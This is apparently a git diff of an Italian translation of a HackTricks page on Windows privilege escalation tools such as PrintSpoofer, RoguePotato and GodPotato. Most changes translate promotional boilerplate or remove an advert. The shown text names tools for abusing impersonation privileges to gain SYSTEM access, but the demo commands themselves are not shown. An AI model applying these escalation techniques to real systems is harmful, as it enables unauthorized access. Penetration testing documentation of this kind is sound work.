* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,25 @@
|
|||
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`**. Questo [post del blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonificazione su Windows 10 e Server 2019 dove JuicyPotato non funziona più.
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
## Dimostrazione Veloce
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
|
@ -117,17 +103,6 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -139,7 +114,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue